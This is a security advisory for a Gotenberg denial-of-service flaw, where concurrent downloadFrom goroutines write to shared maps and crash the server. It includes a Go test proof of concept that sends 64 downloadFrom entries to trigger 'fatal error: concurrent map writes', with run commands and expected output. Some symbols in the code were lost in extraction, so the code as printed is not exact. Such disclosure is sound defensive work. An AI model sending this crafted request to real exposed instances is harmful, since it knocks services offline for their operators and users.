CVE-2026-45742

Summary

Summary Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling. A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes. In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker. Details The issue is in pkg/modules/api/context.go. newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go(): pkg/modules/api/context.go:221 Each goroutine downloads a file and then writes to request context maps shared by all goroutines: ctx.files[filename] = path ctx.diskToOriginal[path] = filename ctx.filesByField[...] = append(...) Affected lines in current main: pkg/modules/api/context.go:395 pkg/modules/api/context.go:396 pkg/modules/api/context.go:401 Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash. The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0. PoC The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access. Run from the repository root: cat > pkg/modules/api/downloadfromracepoctest.go <<'EOF' //go:build securitypoc package api import ( "bytes" "encoding/json" "fmt" "log/slog" "mime/multipart" "net/http" "net/http/httptest" "sync" "testing" "time" "github.com/labstack/echo/v4" "github.com/gotenberg/gotenberg/v8/pkg/gotenberg" ) func TestSecurityPoCDownloadFromConcurrentMapWrites(t testing.T) { const downloads = 64 var ready sync.WaitGroup ready.Add(downloads) release := make(chan struct{}) var releaseOnce sync.Once server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { ready.Done() go func() { ready.Wait() releaseOnce.Do(func() { close(release) }) }() <-release filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i")) w.Header().Set("Content-Disposition", fmt.Sprintf(attachment; filename="%s", filename)) , = w.Write([]byte("downloaded")) })) defer server.Close() dls := make([]downloadFrom, downloads) for i := range dls { dls[i] = downloadFrom{ Url: fmt.Sprintf("%s/file?i=%d", server.URL, i), Field: "embedded", } } payload, err := json.Marshal(dls) if err != nil { t.Fatalf("marshal downloadFrom payload: %v", err) } body := new(bytes.Buffer) writer := multipart.NewWriter(body) err = writer.WriteField("downloadFrom", string(payload)) if err != nil { t.Fatalf("write downloadFrom field: %v", err) } err = writer.Close() if err != nil { t.Fatalf("close multipart writer: %v", err) } req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body) req.Header.Set("Content-Type", writer.FormDataContentType()) echoCtx := echo.New().NewContext(req, httptest.NewRecorder()) logger := slog.New(slog.DiscardHandler) fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll)) downloadFromCfg := downloadFromConfig{ maxRetry: 0, } ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg) if err != nil { t.Fatalf("newContext returned error: %v", err) } defer cancel() if got := len(ctx.files); got != downloads { t.Fatalf("downloaded files = %d, want %d", got, downloads) } } EOF GOTOOLCHAIN=go1.26.2 go test -race -tags securitypoc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1 rm pkg/modules/api/downloadfromracepoctest.go Expected result with the race detector: WARNING: DATA RACE Write at ... github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 WARNING: DATA RACE .../pkg/modules/api/context.go:396 WARNING: DATA RACE .../pkg/modules/api/context.go:401 Running the same PoC without -race also demonstrates practical process termination: GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20 Observed result: fatal error: concurrent map writes github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api Impact This is a remote denial-of-service vulnerability. Any deployment that exposes multipart conversion endpoints with downloadFrom enabled is affected. In the default configuration, downloadFrom is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination. The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.

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